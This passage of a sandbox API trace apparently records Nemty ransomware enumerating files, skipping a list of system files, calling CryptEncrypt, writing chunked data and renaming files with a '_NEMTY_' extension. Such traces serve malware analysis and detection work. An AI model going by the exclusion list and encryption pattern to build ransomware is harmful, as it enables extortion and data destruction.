lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.680] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340350, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0119.680] CloseHandle (hObject=0xffffffff) returned 0 [0119.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404c0 [0119.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0119.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0119.681] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0119.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0119.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0119.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0119.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0119.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0119.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0119.681] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_divider.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_divider.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_divider.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_divider.png._nemty_kgobjgd_")) returned 0 [0119.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0119.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0119.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0119.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0119.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0119.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0119.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0119.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340298 | out: hHeap=0x4f90000) returned 1 [0119.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0119.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0119.681] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d978f8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d978f8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28ae1045, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="settings_divider_left.png", cAlternateFileName="")) returned 1 [0119.681] lstrcmpiW (lpString1="settings_divider_left.png", lpString2=".") returned 1 [0119.681] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="..") returned 1 [0119.681] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="...") returned 1 [0119.681] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="windows") returned -1 [0119.681] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="$RECYCLE.BIN") returned 1 [0119.682] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="rsa") returned 1 [0119.682] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="NTDETECT.COM") returned 1 [0119.682] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="ntldr") returned 1 [0119.682] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="MSDOS.SYS") returned 1 [0119.682] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="IO.SYS") returned 1 [0119.682] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="boot.ini") returned 1 [0119.682] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="boot.ini") returned 1 [0119.682] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="AUTOEXEC.BAT") returned 1 [0119.682] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="ntuser.dat") returned 1 [0119.682] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="desktop.ini") returned 1 [0119.682] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="CONFIG.SYS") returned 1 [0119.682] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="RECYCLER") returned 1 [0119.682] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="BOOTSECT.BAK") returned 1 [0119.682] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="bootmgr") returned 1 [0119.682] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="programdata") returned 1 [0119.682] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="appdata") returned 1 [0119.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0119.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_left.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0119.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0119.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_left.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_divider_left.png", lpUsedDefaultChar=0x0) returned 25 [0119.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0119.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0119.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_left.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0119.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0119.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_left.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_divider_left.png", lpUsedDefaultChar=0x0) returned 25 [0119.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0119.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0119.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0119.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0119.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_left.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0119.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0119.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_left.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_divider_left.png", lpUsedDefaultChar=0x0) returned 25 [0119.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0119.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0119.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_left.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0119.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0119.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_left.png", cchWideChar=25, lpMultiByteStr=0x4f9ed08, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_divider_left.png", lpUsedDefaultChar=0x0) returned 25 [0119.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0119.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340298 [0119.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0119.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401e0 [0119.683] Sleep (dwMilliseconds=0x5) [0119.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfafddb10, dwHighDateTime=0x1d561e7)) [0119.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfafddb10, dwHighDateTime=0x1d561e7)) [0119.697] GetLastError () returned 0x5 [0119.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0119.697] GetLastError () returned 0x5 [0119.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0119.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0119.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0119.697] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0119.697] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0119.697] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0119.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340350 [0119.697] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340350, pcchString=0x653e91c | out: pszString="YEReRYRXODfR6nkV4Y6WH1pMZOGiShrltSZipANvXqTTsBQfO2DNepFMmBY6VOoE\r\nKqcW6NpdP3bQ/8VAWiCpac9fFGgGU5BydD83Az5VwlLBIgQWwjg8+jAjNC7cTRy7\r\nskhHar+hKO1H+zbgwiZmEkLDvSJfxup3x48piItKSHacjFgLfSv7fWkxlBJoJbeh\r\nudy7ZfvBQgZkEk5FnryVXD1MSCODT5kXjYX4mcFeHmqwkPCQ4hbclGFuVIpog83r\r\n9f/+NkIsnVXLC8vOXkxzQIF928hkaPbe/Bts5ky2tVCg+YuGcnXOTyEY7V2CNNv7\r\nPBakmA/UJ735js13V1w9RA==\r\n", pcchString=0x653e91c) returned 1 [0119.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0119.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0119.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0119.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0119.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340350 [0119.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0119.697] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_divider_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_divider_left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.698] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0119.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0119.698] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.698] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.707] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.708] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.717] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.717] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.726] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.726] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.726] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.726] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.736] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.736] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.736] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.736] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.745] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.745] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.755] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.755] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.773] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.773] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.773] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.773] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.783] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.783] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.783] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.783] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.792] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.792] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.792] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.792] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.802] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.802] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.802] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.802] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.808] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.808] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.808] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.808] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.814] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.814] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.814] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.814] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340350, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0119.814] CloseHandle (hObject=0xffffffff) returned 0 [0119.814] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404c0 [0119.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0119.814] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0119.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0119.814] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0119.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0119.814] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0119.814] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0119.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0119.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0119.814] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_divider_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_divider_left.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_divider_left.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_divider_left.png._nemty_kgobjgd_")) returned 0 [0119.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0119.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 